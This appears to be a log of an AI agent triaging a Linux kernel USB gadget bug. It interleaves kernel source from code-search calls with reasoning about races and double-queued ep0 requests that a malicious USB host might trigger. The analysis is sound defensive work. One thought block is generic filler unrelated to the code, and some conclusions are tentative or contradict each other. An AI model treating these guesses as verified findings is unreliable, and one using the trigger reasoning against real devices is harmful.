2342: usb_ep_disable(fsg->bulk_out);
2343: fsg->bulk_out_enabled = 0;
2344: }
2345:
2346: common->fsg = NULL;
2347: wake_up(&common->fsg_wait);
2348: }
2349:
2350: common->running = 0;
2351: if (!new_fsg || rc)
2352: return rc;
2353:
2354: common->fsg = new_fsg;
2355: fsg = common->fsg;
2356:
2357: /* Enable the endpoints */
2358: rc = config_ep_by_speed(common->gadget, &(fsg->function), fsg->bulk_in);
2359: if (rc)
2360: goto reset;
2361: rc = usb_ep_enable(fsg->bulk_in);
2362: if (rc)
2363: goto reset;
2364: fsg->bulk_in->driver_data = common;
2365: fsg->bulk_in_enabled = 1;
2366:
2367: rc = config_ep_by_speed(common->gadget, &(fsg->function),
2368: fsg->bulk_out);
2369: if (rc)
2370: goto reset;
2371: rc = usb_ep_enable(fsg->bulk_out);
2372: if (rc)
2373: goto reset;
2374: fsg->bulk_out->driver_data = common;
2375: fsg->bulk_out_enabled = 1;
2376: common->bulk_out_maxpacket = usb_endpoint_maxp(fsg->bulk_out->desc);
2377: clear_bit(IGNORE_BULK_OUT, &fsg->atomic_bitflags);
2378:
2379: /* Allocate the requests */
2380: for (i = 0; i < common->fsg_num_buffers; ++i) {
2381: struct fsg_buffhd *bh = &common->buffhds[i];
2382:
2383: rc = alloc_request(common, fsg->bulk_in, &bh->inreq);
2384: if (rc)
2385: goto reset;
2386: rc = alloc_request(common, fsg->bulk_out, &bh->outreq);
2387: if (rc)
2388: goto reset;
2389: bh->inreq->buf = bh->outreq->buf = bh->buf;
2390: bh->inreq->context = bh->outreq->context = bh;
2391: bh->inreq->complete = bulk_in_complete;
2392: bh->outreq->complete = bulk_out_complete;
2393: }
2394:
2395: common->running = 1;
2396: for (i = 0; i < ARRAY_SIZE(common->luns); ++i)
2397: if (common->luns[i])
2398: common->luns[i]->unit_attention_data =
2399: SS_RESET_OCCURRED;
2400: return rc;
2401: }
SourceFile:drivers/usb/gadget/function/f_mass_storage.c]
|
| 26/2 |
2026/08/13 11:23 |
llm |
expert |
0m
Model:
Tokens:
input: 41348
output: 46
thoughts: 53
Thoughts: Here's my thought process, as it stands:
**Tracing the Exception Handling Path**
Okay, so I'm digging into this error handling, specifically focusing on how `new_fsg` gets passed around. Let's see... `do_set_interface` is using `new_fsg`, and it looks like `new_fsg` is coming from `handle_exception`. That's the key. Now, `new_fsg` is actually `common->exception_arg`. Right, that means the exception argument is becoming this critical piece of data. I need to understand how this argument is being used, so I need to check how it's being set. My focus is now on `fsg_set_alt`. Let's examine that function to see how `common->exception_arg` gets populated. This should give me the context I need.
|
| 27/2 |
2026/08/13 11:23 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/usb/gadget/function/f_mass_storage.c Name:fsg_set_alt]
Results: map[SourceCode:2406: static int fsg_set_alt(struct usb_function *f, unsigned intf, unsigned alt)
2407: {
2408: struct fsg_dev *fsg = fsg_from_func(f);
2409:
2410: __raise_exception(fsg->common, FSG_STATE_CONFIG_CHANGE, fsg);
2411: return USB_GADGET_DELAYED_STATUS;
2412: }
SourceFile:drivers/usb/gadget/function/f_mass_storage.c]
|
| 28/2 |
2026/08/13 11:23 |
llm |
expert |
0m
Model:
Tokens:
input: 41799
output: 44
thoughts: 7
Thoughts: Okay, here's my attempt at summarizing the thought process, tailored for an expert audience, and delivered in the first person:
**Deep Dive on Exception Handling and Internal Mechanisms**
Alright, let's break this down. The core concern here, when I see `__raise_exception`, is the nature of internal exception handling within this system. My mind immediately starts running through potential scenarios: the intent of the author, the context in which this function is invoked, the kinds of exceptions it *could* raise, and more importantly *why* they chose to implement it this way.
I'm focusing on the `__` prefix. This typically indicates a private or internal method, one likely not intended for direct external use. That signals that I should consider the API contract and how it's designed. So, my initial questions are related to implementation details. Does it expose a public API method that calls this method? What assumptions does it make about the environment and potential failure modes?
Specifically, I'm analyzing the way it's used. Is it a general-purpose error raiser, a specific-case handler, or something else entirely? A general-purpose function can be a red flag as it implies some sort of abstraction. Then, in turn, this is likely masking some form of implementation details. A well-designed system will define exception types specific to its domain and purpose.
I'm also thinking about the level of abstraction it operates at. Is it low-level, handling hardware errors, or is it higher-level, related to application logic? This will help me understand the potential impact of an uncaught exception originating from here. From an expert perspective, I'm thinking about exception chaining, context information, and how these exceptions are propagated. Is enough data being provided to the caller to diagnose the problem effectively?
I'm further analyzing the potential impact on the call chain. If an exception is raised in this internal function, how gracefully is it handled in the calling code? Is it designed to be recoverable, or does it lead to a critical failure? I have to look at the surrounding code to trace the call.
Ultimately, I'm assessing the robustness and maintainability of the system. A well-designed `__raise_exception` function, even if internal, should be a part of a well-defined error-handling strategy. Otherwise, it is going to introduce potential bugs and/or create maintainability issues.
|
| 29/2 |
2026/08/13 11:23 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/usb/gadget/function/f_mass_storage.c Name:__raise_exception]
Results: map[SourceCode: 367: static void __raise_exception(struct fsg_common *common, enum fsg_state new_state,
368: void *arg)
369: {
370: unsigned long flags;
371:
372: /*
373: * Do nothing if a higher-priority exception is already in progress.
374: * If a lower-or-equal priority exception is in progress, preempt it
375: * and notify the main thread by sending it a signal.
376: */
377: spin_lock_irqsave(&common->lock, flags);
378: if (common->state <= new_state) {
379: common->exception_req_tag = common->ep0_req_tag;
380: common->state = new_state;
381: common->exception_arg = arg;
382: if (common->thread_task)
383: send_sig_info(SIGUSR1, SEND_SIG_PRIV,
384: common->thread_task);
385: }
386: spin_unlock_irqrestore(&common->lock, flags);
387: }
SourceFile:drivers/usb/gadget/function/f_mass_storage.c]
|
| 30/2 |
2026/08/13 11:23 |
llm |
expert |
0m
Model:
Tokens:
input: 42724
output: 44
thoughts: 909
Thoughts: **Analyzing a Subtle USB Gadget Configuration Bug**
Okay, let me break this down. My initial thought process: `__raise_exception` overwrites exception arguments and states. If I call `fsg_set_alt` twice, the second call's arguments will be the ones that are relevant later. So, that means only the last `FSG_STATE_CONFIG_CHANGE` exception is going to be handled. Only one call to `usb_composite_setup_continue` is processed. But `cdev->delayed_status` is incremented each time, which can cause issues.
If `cdev->delayed_status` is incremented twice, and `usb_composite_setup_continue` only executes once, the final value would be 1, not zero! I'd expect a warning. How could it warn?
Let me step through it methodically: The host sends `SET_CONFIGURATION 1`. This triggers `fsg_set_alt`, raising the exception `FSG_STATE_CONFIG_CHANGE` and incrementing `cdev->delayed_status` to 1, because the function returns `USB_GADGET_DELAYED_STATUS`. Then the host sends `SET_CONFIGURATION 0`. This triggers `reset_config`, which sets `cdev->delayed_status` to 0. The main thread then runs. The `fsg_main_thread` handles the `FSG_STATE_CONFIG_CHANGE` exception, and calls `usb_composite_setup_continue`. That's where the WARN occurs because `cdev->delayed_status` is now zero!
That's it! `reset_config` clears the delayed status. But the pending exception still executes `usb_composite_setup_continue`.
Okay, no memory corruption. The check inside `usb_composite_setup_continue` just checks `cdev->delayed_status`. It simply returns. It does not queue ep0 requests, and the ep0 request has been handled already, but then `fsg_main_thread` calls `usb_composite_setup_continue` which does nothing but WARN. Is there a use-after-free issue? No, `cdev` is still valid. No state machine corruption either, `fsg_main_thread` is processing the correct `fsg` value. Wait! When `SET_CONFIGURATION 0` is received, `reset_config` is called, which calls `f->disable(f)`. Got it! It's a clean WARN.
|
| 31/2 |
2026/08/13 11:23 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/usb/gadget/function/f_mass_storage.c Name:fsg_disable]
Results: map[SourceCode:2414: static void fsg_disable(struct usb_function *f)
2415: {
2416: struct fsg_dev *fsg = fsg_from_func(f);
2417:
2418: /* Disable the endpoints */
2419: if (fsg->bulk_in_enabled) {
2420: usb_ep_disable(fsg->bulk_in);
2421: fsg->bulk_in_enabled = 0;
2422: }
2423: if (fsg->bulk_out_enabled) {
2424: usb_ep_disable(fsg->bulk_out);
2425: fsg->bulk_out_enabled = 0;
2426: }
2427:
2428: __raise_exception(fsg->common, FSG_STATE_CONFIG_CHANGE, NULL);
2429: }
SourceFile:drivers/usb/gadget/function/f_mass_storage.c]
|
| 32/2 |
2026/08/13 11:23 |
llm |
expert |
0m
Model:
Tokens:
input: 44502
output: 43
thoughts: 1216
Thoughts: **Race Condition Analysis in FSG Configuration Handling**
Okay, so I've been digging into this `fsg_disable` function and how it interacts with configuration changes. The core issue seems to be a race condition that could lead to inconsistent state and potential errors. Let me break down my thinking.
My initial thought was that a `SET_CONFIGURATION 0` call after a `SET_CONFIGURATION 1` might cause problems, specifically if the `fsg_disable` call, which is triggered by the `SET_CONFIGURATION 0`, overwrites an existing exception. Specifically, `fsg_disable` calls `__raise_exception` with `FSG_STATE_CONFIG_CHANGE` and a `NULL` argument. This could overwrite a pending exception raised by the `SET_CONFIGURATION 1`. If the overwrite happens *before* `fsg_main_thread` processes the first exception (the one from SET_CONFIGURATION 1), then the `common->exception_arg` in `fsg_main_thread` could be set to `NULL`.
If `new_fsg` is `NULL` in the `handle_exception` function, then the `usb_composite_setup_continue` call *won't* happen. However, it seems I initially missed the point. If `fsg_main_thread` has *already* started processing the first exception raised by `SET_CONFIGURATION 1` then `handle_exception` has *already* read the `new_fsg` value and unlocked `common->lock`. Then the second exception raised by `fsg_disable` will *still* trigger `usb_composite_setup_continue` which will warn.
I think I've got it. The real race is between enabling and disabling endpoints. If the host sends `SET_CONFIGURATION 1`, then `fsg_main_thread` will call `do_set_interface`, which enables the endpoints. But if the host sends `SET_CONFIGURATION 0`, then the `ep0` thread calls `fsg_disable` which *disables* the endpoints. And these threads are not protected by a lock! So they can race!
Therefore, `usb_ep_enable` and `usb_ep_disable` are potentially called concurrently, and *that* is the problem. They are not thread-safe and this race might lead to memory corruption or inconsistent USB device behavior. I'll need to check the `dummy_hcd` implementation of these functions to confirm if they are *not* thread-safe.
|
| 33/2 |
2026/08/13 11:24 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/usb/gadget/udc/dummy_hcd.c Name:dummy_enable]
Results: map[SourceCode: 527: static int dummy_enable(struct usb_ep *_ep,
528: const struct usb_endpoint_descriptor *desc)
529: {
530: struct dummy *dum;
531: struct dummy_hcd *dum_hcd;
532: struct dummy_ep *ep;
533: unsigned max;
534: int retval;
535:
536: ep = usb_ep_to_dummy_ep(_ep);
537: if (!_ep || !desc || ep->desc || _ep->name == ep0name
538: || desc->bDescriptorType != USB_DT_ENDPOINT)
539: return -EINVAL;
540: dum = ep_to_dummy(ep);
541: if (!dum->driver)
542: return -ESHUTDOWN;
543:
544: dum_hcd = gadget_to_dummy_hcd(&dum->gadget);
545: if (!is_enabled(dum_hcd))
546: return -ESHUTDOWN;
547:
548: /*
549: * For HS/FS devices only bits 0..10 of the wMaxPacketSize represent the
550: * maximum packet size.
551: * For SS devices the wMaxPacketSize is limited by 1024.
552: */
553: max = usb_endpoint_maxp(desc);
554:
555: /* drivers must not request bad settings, since lower levels
556: * (hardware or its drivers) may not check. some endpoints
557: * can't do iso, many have maxpacket limitations, etc.
558: *
559: * since this "hardware" driver is here to help debugging, we
560: * have some extra sanity checks. (there could be more though,
561: * especially for "ep9out" style fixed function ones.)
562: */
563: retval = -EINVAL;
564: switch (usb_endpoint_type(desc)) {
565: case USB_ENDPOINT_XFER_BULK:
566: if (strstr(ep->ep.name, "-iso")
567: || strstr(ep->ep.name, "-int")) {
568: goto done;
569: }
570: switch (dum->gadget.speed) {
571: case USB_SPEED_SUPER:
572: if (max == 1024)
573: break;
574: goto done;
575: case USB_SPEED_HIGH:
576: if (max == 512)
577: break;
578: goto done;
579: case USB_SPEED_FULL:
580: if (max == 8 || max == 16 || max == 32 || max == 64)
581: /* we'll fake any legal size */
582: break;
583: /* save a return statement */
584: fallthrough;
585: default:
586: goto done;
587: }
588: break;
589: case USB_ENDPOINT_XFER_INT:
590: if (strstr(ep->ep.name, "-iso")) /* bulk is ok */
591: goto done;
592: /* real hardware might not handle all packet sizes */
593: switch (dum->gadget.speed) {
594: case USB_SPEED_SUPER:
595: case USB_SPEED_HIGH:
596: if (max <= 1024)
597: break;
598: /* save a return statement */
599: fallthrough;
600: case USB_SPEED_FULL:
601: if (max <= 64)
602: break;
603: /* save a return statement */
604: fallthrough;
605: default:
606: if (max <= 8)
607: break;
608: goto done;
609: }
610: break;
611: case USB_ENDPOINT_XFER_ISOC:
612: if (strstr(ep->ep.name, "-bulk")
613: || strstr(ep->ep.name, "-int"))
614: goto done;
615: /* real hardware might not handle all packet sizes */
616: switch (dum->gadget.speed) {
617: case USB_SPEED_SUPER:
618: case USB_SPEED_HIGH:
619: if (max <= 1024)
620: break;
621: /* save a return statement */
622: fallthrough;
623: case USB_SPEED_FULL:
624: if (max <= 1023)
625: break;
626: /* save a return statement */
627: fallthrough;
628: default:
629: goto done;
630: }
631: break;
632: default:
633: /* few chips support control except on ep0 */
634: goto done;
635: }
636:
637: _ep->maxpacket = max;
638: if (usb_ss_max_streams(_ep->comp_desc)) {
639: if (!usb_endpoint_xfer_bulk(desc)) {
640: dev_err(udc_dev(dum), "Can't enable stream support on "
641: "non-bulk ep %s\n", _ep->name);
642: return -EINVAL;
643: }
644: ep->stream_en = 1;
645: }
646: ep->desc = desc;
647:
648: dev_dbg(udc_dev(dum), "enabled %s (ep%d%s-%s) maxpacket %d stream %s\n",
649: _ep->name,
650: usb_endpoint_num(desc),
651: (desc->bEndpointAddress & USB_DIR_IN) ? "in" : "out",
652: usb_ep_type_string(usb_endpoint_type(desc)),
653: max, str_enabled_disabled(ep->stream_en));
654:
655: /* at this point real hardware should be NAKing transfers
656: * to that endpoint, until a buffer is queued to it.
657: */
658: ep->halted = ep->wedged = 0;
659: retval = 0;
660: done:
661: return retval;
662: }
SourceFile:drivers/usb/gadget/udc/dummy_hcd.c]
|
| 34/2 |
2026/08/13 11:24 |
llm |
expert |
0m
Model:
Tokens:
input: 48290
output: 45
thoughts: 1713
Thoughts: **Analysis of Potential Race Condition and its Consequences**
Okay, let's break this down systematically. My initial thought process revolves around a potential race condition within the USB composite gadget driver, specifically related to the handling of asynchronous control requests and configuration changes. The core issue seems to center on the `cdev->delayed_status` variable and how its state can be unexpectedly modified or cleared.
First, I see the interaction between `dummy_enable` and `dummy_disable` setting and unsetting `ep->desc`. This is a classic race scenario. If these calls overlap, `ep->desc` may remain in an inconsistent state, likely `NULL` or holding a dangling pointer to a freed descriptor. However, the more crucial aspect is the broader race around `do_set_interface`, `fsg_disable`, and the warning within `usb_composite_setup_continue`.
The primary concern, and the root of my investigation, is whether this warning constitutes a security vulnerability. The `WARN` macro is concerning in that it reveals a situation the developer had not planned for. While the code doesn't directly cause memory corruption, the fact that a seemingly unexpected call is being made raises questions about the overall state machine consistency of the driver.
The code itself checks if `cdev->delayed_status` is already zero before decrementing it. This prevents underflow, as I initially suspected. It also *only* prints a warning to dmesg and returns, so there isn't direct memory corruption. The situation is handled gracefully, which is good. Still, repeated triggers could lead to dmesg spamming, which, although not critical, could be a form of denial of service.
The critical issue, and the primary focus of my testing, appears to be an issue that could cause a protocol violation or other undefined behavior.
I want to test a series of scenarios.
Here is the situation I think I'm seeing:
1. Host sends `SET_CONFIGURATION 1`.
2. `fsg_set_alt` returns `DELAYED_STATUS`, `cdev->delayed_status` = 1.
3. Host sends `SET_CONFIGURATION 0`.
4. `reset_config` clears `cdev->delayed_status` to 0.
5. Host sends `SET_CONFIGURATION 1` again.
6. `fsg_set_alt` returns `DELAYED_STATUS`, `cdev->delayed_status` = 1.
7. `fsg_main_thread` handles the FIRST `FSG_STATE_CONFIG_CHANGE` exception.
8. `fsg_main_thread` calls `usb_composite_setup_continue`.
9. `usb_composite_setup_continue` decrements `cdev->delayed_status` to 0.
10. It calls `composite_ep0_queue(cdev, req, GFP_ATOMIC);`.
11. The `req` is queued for the SECOND `SET_CONFIGURATION` request!
12. The host receives the status phase for the SECOND `SET_CONFIGURATION` request prematurely!
This is a protocol violation.
However, a closer look suggests this isn't a use-after-free issue. The `req` is pre-allocated and queued to `gadget->ep0`, not freed. Even if queued multiple times, there's no double-free. If `cdev->delayed_status` becomes 0, the code WARNs and doesn't queue `req` again. So, there is no double-queueing.
Okay, let's explore if a different control request might trigger an unexpected behavior. If the host sends a `VENDOR` request instead of `SET_CONFIGURATION 1` at step 5:
1. Host sends `SET_CONFIGURATION 1`.
2. `fsg_set_alt` returns `DELAYED_STATUS`, `cdev->delayed_status` = 1.
3. Host sends `SET_CONFIGURATION 0`.
4. `reset_config` clears `cdev->delayed_status` to 0.
5. Host sends `VENDOR` request.
6. `composite_setup` processes `VENDOR` request. It returns a value >= 0 (e.g., 0).
7. `composite_setup` queues `req` for the `VENDOR` request.
8. `fsg_main_thread` handles the FIRST `FSG_STATE_CONFIG_CHANGE` exception.
9. `fsg_main_thread` calls `usb_composite_setup_continue`.
10. `usb_composite_setup_continue` sees `cdev->delayed_status == 0` and WARNs
|
| 35/2 |
2026/08/13 11:24 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/usb/gadget/function/f_mass_storage.c Name:do_set_interface]
Results: map[SourceCode:2309: /* Reset interface setting and re-init endpoint state (toggle etc). */
2310: static int do_set_interface(struct fsg_common *common, struct fsg_dev *new_fsg)
2311: {
2312: struct fsg_dev *fsg;
2313: int i, rc = 0;
2314:
2315: if (common->running)
2316: DBG(common, "reset interface\n");
2317:
2318: reset:
2319: /* Deallocate the requests */
2320: if (common->fsg) {
2321: fsg = common->fsg;
2322:
2323: for (i = 0; i < common->fsg_num_buffers; ++i) {
2324: struct fsg_buffhd *bh = &common->buffhds[i];
2325:
2326: if (bh->inreq) {
2327: usb_ep_free_request(fsg->bulk_in, bh->inreq);
2328: bh->inreq = NULL;
2329: }
2330: if (bh->outreq) {
2331: usb_ep_free_request(fsg->bulk_out, bh->outreq);
2332: bh->outreq = NULL;
2333: }
2334: }
2335:
2336: /* Disable the endpoints */
2337: if (fsg->bulk_in_enabled) {
2338: usb_ep_disable(fsg->bulk_in);
2339: fsg->bulk_in_enabled = 0;
2340: }
2341: if (fsg->bulk_out_enabled) {
2342: usb_ep_disable(fsg->bulk_out);
2343: fsg->bulk_out_enabled = 0;
2344: }
2345:
2346: common->fsg = NULL;
2347: wake_up(&common->fsg_wait);
2348: }
2349:
2350: common->running = 0;
2351: if (!new_fsg || rc)
2352: return rc;
2353:
2354: common->fsg = new_fsg;
2355: fsg = common->fsg;
2356:
2357: /* Enable the endpoints */
2358: rc = config_ep_by_speed(common->gadget, &(fsg->function), fsg->bulk_in);
2359: if (rc)
2360: goto reset;
2361: rc = usb_ep_enable(fsg->bulk_in);
2362: if (rc)
2363: goto reset;
2364: fsg->bulk_in->driver_data = common;
2365: fsg->bulk_in_enabled = 1;
2366:
2367: rc = config_ep_by_speed(common->gadget, &(fsg->function),
2368: fsg->bulk_out);
2369: if (rc)
2370: goto reset;
2371: rc = usb_ep_enable(fsg->bulk_out);
2372: if (rc)
2373: goto reset;
2374: fsg->bulk_out->driver_data = common;
2375: fsg->bulk_out_enabled = 1;
2376: common->bulk_out_maxpacket = usb_endpoint_maxp(fsg->bulk_out->desc);
2377: clear_bit(IGNORE_BULK_OUT, &fsg->atomic_bitflags);
2378:
2379: /* Allocate the requests */
2380: for (i = 0; i < common->fsg_num_buffers; ++i) {
2381: struct fsg_buffhd *bh = &common->buffhds[i];
2382:
2383: rc = alloc_request(common, fsg->bulk_in, &bh->inreq);
2384: if (rc)
2385: goto reset;
2386: rc = alloc_request(common, fsg->bulk_out, &bh->outreq);
2387: if (rc)
2388: goto reset;
2389: bh->inreq->buf = bh->outreq->buf = bh->buf;
2390: bh->inreq->context = bh->outreq->context = bh;
2391: bh->inreq->complete = bulk_in_complete;
2392: bh->outreq->complete = bulk_out_complete;
2393: }
2394:
2395: common->running = 1;
2396: for (i = 0; i < ARRAY_SIZE(common->luns); ++i)
2397: if (common->luns[i])
2398: common->luns[i]->unit_attention_data =
2399: SS_RESET_OCCURRED;
2400: return rc;
2401: }
SourceFile:drivers/usb/gadget/function/f_mass_storage.c]
|
| 36/2 |
2026/08/13 11:24 |
llm |
expert |
0m
Model:
Tokens:
input: 52552
output: 40
thoughts: 2870
Thoughts: **Analysis of Data Race and Peripheral Trigger in USB Gadget Driver**
Okay, let's break this down systematically. I'm focusing on the potential data race between `fsg_disable` and `do_set_interface`, particularly concerning the `fsg->bulk_in_enabled` flag and the enabling/disabling of the bulk-in endpoint. The `fsg_disable` routine, operating from the `ep0` thread, potentially races with `do_set_interface`, which runs within the `fsg_main_thread`. If `fsg_disable` gets to the line:
```c
if (fsg->bulk_in_enabled) {
usb_ep_disable(fsg->bulk_in);
fsg->bulk_in_enabled = 0;
}
```
...and `do_set_interface` is concurrently setting `fsg->bulk_in_enabled = 1` and calling `usb_ep_enable`, we have a classic data race. But, is it exploitable? I'm thinking... If `fsg_disable` sees `fsg->bulk_in_enabled == 1`, it disables the endpoint. Then, `do_set_interface` re-enables it. Okay, the endpoint *could* remain enabled when it should be disabled, but...
The key is what happens next. `fsg_disable` signals `FSG_STATE_CONFIG_CHANGE` with `NULL`. This will cause `fsg_main_thread` to run `do_set_interface(common, NULL)`. That will *always* disable the endpoints and free the requests. So there's eventually cleanup. The only window of concern is if `fsg_main_thread` tries to use requests that are already freed or tries to queue a request with the endpoints already disabled. But `do_set_interface` always sets `bh->inreq = NULL` and it only sets `common->running = 1` at the very end *after* requests are queued (or not). So there's no Use-After-Free scenario here.
I need to confirm that that race isn't leading to some other kind of resource issue. What happens if, during `fsg_disable`, while endpoints are disabled, the `fsg_main_thread` attempts a request submission? `fsg_main_thread` only queues requests when `common->running == 1`, but the `do_set_interface` function makes sure the endpoint is enabled before setting this flag, which means no endpoint is disabled during a request submission. Also, regardless, when `FSG_STATE_CONFIG_CHANGE` is processed, pending transfers are canceled by `handle_exception`.
So, the data race on `fsg->bulk_in_enabled` *could* leave it in an inconsistent state *temporarily*. But the key factor is that `do_set_interface(common, NULL)` is always called eventually. No matter the ordering, the endpoint ends up *properly* disabled. The race might cause a brief period of the endpoint being enabled or disabled incorrectly, but a subsequent call to disable it will always happen.
I think I've explored the various permutations of the data race; no matter the ordering of `usb_ep_enable`, `usb_ep_disable` calls, and `fsg->bulk_in_enabled` flag manipulations, the endpoint *always* ends up correctly disabled. The data race *itself* doesn't seem to lead to any lasting resource leak or inconsistency.
Now, that `WARN`... I need to consider that.
```c
if (cdev->delayed_status == 0) {
WARN(cdev, "%s: Unexpected call\n", __func__);
```
That's just a warning. Can an unprivileged user trigger this? I think the reproducer uses `configfs`, which, yeah, requires root for USB gadget setup. But interacting with `/dev/bus/usb/` might need some permissions, but it seems that even non-root users might get access through `plugdev` or udev ACLs. BUT... the bug's triggered by sending control requests, right?
A-HA! If we consider a real USB device -- say, a phone or something acting as a mass storage gadget -- if that machine is plugged into a *malicious* USB host (a PC), then that malicious host can send `SET_CONFIGURATION 1` and `SET_CONFIGURATION 0` rapidly! That's a peripheral trigger. And "Peripheral Trigger" here means *exactly* what the prompt is getting at, the system *is* the device, and the attacker is the host!
But the question is, is it exploitable?
|
| 37/2 |
2026/08/13 11:24 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/usb/gadget/composite.c Name:composite_ep0_queue]
Results: map[SourceCode:1578: static int composite_ep0_queue(struct usb_composite_dev *cdev,
1579: struct usb_request *req, gfp_t gfp_flags)
1580: {
1581: int ret;
1582:
1583: ret = usb_ep_queue(cdev->gadget->ep0, req, gfp_flags);
1584: if (ret == 0) {
1585: if (cdev->req == req)
1586: cdev->setup_pending = true;
1587: else if (cdev->os_desc_req == req)
1588: cdev->os_desc_pending = true;
1589: else
1590: WARN(1, "unknown request %p\n", req);
1591: }
1592:
1593: return ret;
1594: }
SourceFile:drivers/usb/gadget/composite.c]
|
| 38/2 |
2026/08/13 11:24 |
llm |
expert |
0m
Model:
Tokens:
input: 56773
output: 43
thoughts: 49
Thoughts: Okay, here's my interpretation of those thoughts, framed as my own:
**Analyzing Potential USB Endpoint Queue Issues**
Alright, let's think this through. If I'm trying to queue a request (`req`) on a USB endpoint, but that request is *already* in the queue, I'm facing a potential problem. `usb_ep_queue` might simply reject the request with an error, which is the more graceful outcome. However, the more concerning possibility is that it could actually *corrupt* the endpoint queue. That's a nasty scenario to debug! I need to be careful about double-queuing requests.
Now, specifically considering `usb_ep_queue` when dealing with `ep0` in the `dummy_hcd` context...
|
| 39/2 |
2026/08/13 11:25 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/usb/gadget/udc/dummy_hcd.c Name:dummy_queue]
Results: map[SourceCode: 718: static int dummy_queue(struct usb_ep *_ep, struct usb_request *_req,
719: gfp_t mem_flags)
720: {
721: struct dummy_ep *ep;
722: struct dummy_request *req;
723: struct dummy *dum;
724: struct dummy_hcd *dum_hcd;
725: unsigned long flags;
726:
727: req = usb_request_to_dummy_request(_req);
728: if (!_req || !list_empty(&req->queue) || !_req->complete)
729: return -EINVAL;
730:
731: ep = usb_ep_to_dummy_ep(_ep);
732: if (!_ep || (!ep->desc && _ep->name != ep0name))
733: return -EINVAL;
734:
735: dum = ep_to_dummy(ep);
736: dum_hcd = gadget_to_dummy_hcd(&dum->gadget);
737: if (!dum->driver || !is_enabled(dum_hcd))
738: return -ESHUTDOWN;
739:
740: #if 0
741: dev_dbg(udc_dev(dum), "ep %p queue req %p to %s, len %d buf %p\n",
742: ep, _req, _ep->name, _req->length, _req->buf);
743: #endif
744: _req->status = -EINPROGRESS;
745: _req->actual = 0;
746: spin_lock_irqsave(&dum->lock, flags);
747:
748: /* implement an emulated single-request FIFO */
749: if (ep->desc && (ep->desc->bEndpointAddress & USB_DIR_IN) &&
750: !dum->fifo_req_busy &&
751: list_empty(&ep->queue) &&
752: _req->length <= FIFO_SIZE) {
753: req = &dum->fifo_req;
754: dum->fifo_req_busy = 1;
755: req->req = *_req;
756: req->req.buf = dum->fifo_buf;
757: memcpy(dum->fifo_buf, _req->buf, _req->length);
758: req->req.context = dum;
759: req->req.complete = fifo_complete;
760:
761: list_add_tail(&req->queue, &ep->queue);
762: spin_unlock(&dum->lock);
763: _req->actual = _req->length;
764: _req->status = 0;
765: usb_gadget_giveback_request(_ep, _req);
766: spin_lock(&dum->lock);
767: } else
768: list_add_tail(&req->queue, &ep->queue);
769: spin_unlock_irqrestore(&dum->lock, flags);
770:
771: /* real hardware would likely enable transfers here, in case
772: * it'd been left NAKing.
773: */
774: return 0;
775: }
SourceFile:drivers/usb/gadget/udc/dummy_hcd.c]
|
| 40/2 |
2026/08/13 11:25 |
llm |
expert |
0m
Model:
Tokens:
input: 58015
output: 36
thoughts: 563
Thoughts: **Double Queuing Vulnerability in USB Gadget Driver**
Okay, so I was looking at this `dummy_queue` function and saw it checks if a request is already queued before adding it, which is good practice to prevent list corruption. Other UDC drivers typically do this too, otherwise, things can get messy fast. However, I started thinking, what if a request gets queued *twice*? That's a nasty bug.
I dug into the `composite_setup` function and saw how it handles requests. If `composite_setup` queues a request (`req`), it gets added to the `ep0` queue, which is normal. Then, `fsg_main_thread` calls `usb_composite_setup_continue`. The issue is, if `cdev->delayed_status` was set to 1, then `usb_composite_setup_continue` decrements it, and *re-queues* the request! That's concerning.
I initially couldn't see how `cdev->delayed_status` could be 1 when `composite_setup` queues a request because `composite_setup` *shouldn't* return `USB_GADGET_DELAYED_STATUS` if it queues a request. But then, it clicked. I saw the sequence:
1. Host sends `SET_CONFIGURATION 1`.
2. `fsg_set_alt` returns `DELAYED_STATUS`, so `cdev->delayed_status` becomes 1.
3. Host sends a `VENDOR` request.
4. `composite_setup` handles the `VENDOR` request and returns a value of 0, so it queues the `req`.
5. `fsg_main_thread` handles the `FSG_STATE_CONFIG_CHANGE` exception triggered by the `SET_CONFIGURATION` request.
6. `fsg_main_thread` calls `usb_composite_setup_continue`.
7. `usb_composite_setup_continue` decrements `cdev->delayed_status` to 0.
8. `usb_composite_setup_continue` queues the `req` *again*!
So, the issue is that `cdev->delayed_status` can linger across setup packet processing. The critical thing here is the `fsg_set_alt` returning `DELAYED_STATUS` and setting `cdev->delayed_status`. That's the vulnerability. The subsequent `VENDOR` request queues a req, and the main thread queues it again. Double-queue, potential for all sorts of badness. I wonder if `composite_setup` clears this `cdev->delayed_status` state on a new setup packet arrival. I didn't see it doing it in `composite_setup`, so I need to check where else this variable might get modified, or not! I'll have to investigate further to confirm if there are other places where this variable is cleared.
|
| 41/2 |
2026/08/13 11:25 |
tool |
grepper |
0m
Args: map[Expression:delayed_status = 0 PathPrefix:drivers/usb/gadget/composite.c]
Results: map[Output:drivers/usb/gadget/composite.c=928=static void reset_config(struct usb_composite_dev *cdev)
--
drivers/usb/gadget/composite.c-943- cdev->config = NULL;
drivers/usb/gadget/composite.c:944: cdev->delayed_status = 0;
drivers/usb/gadget/composite.c-945-}
]
|
| 42/2 |
2026/08/13 11:25 |
llm |
expert |
3m
Model:
Tokens:
input: 59359
output: 46
thoughts: 184
Thoughts: **My Analysis of a Potential USB Device Driver Issue**
Okay, so I'm digging into this code and I've got a potential race condition flagged. It looks like the `cdev->delayed_status` flag is only cleared within the `reset_config` function. Now, if a `VENDOR` request comes in *without* a prior call to `reset_config` – which is entirely possible given the architecture – then this `delayed_status` flag stays at 1.
The critical path continues: `composite_setup` queues this `req` for the `VENDOR` request. Then, the `fsg_main_thread` kicks in and calls `usb_composite_setup_continue`. Here's where it gets interesting: `delayed_status` gets decremented to 0, which is good... but then, **the code queues the same `req` AGAIN!**
Now, my Spidey-Sense is tingling. If that request is *already* queued, `usb_ep_queue` might return `-EINVAL`, as I’ve seen in something like the `dummy_hcd`. However, even worse, in other UDCs, the linked list could get corrupted. That's a classic concurrency issue!
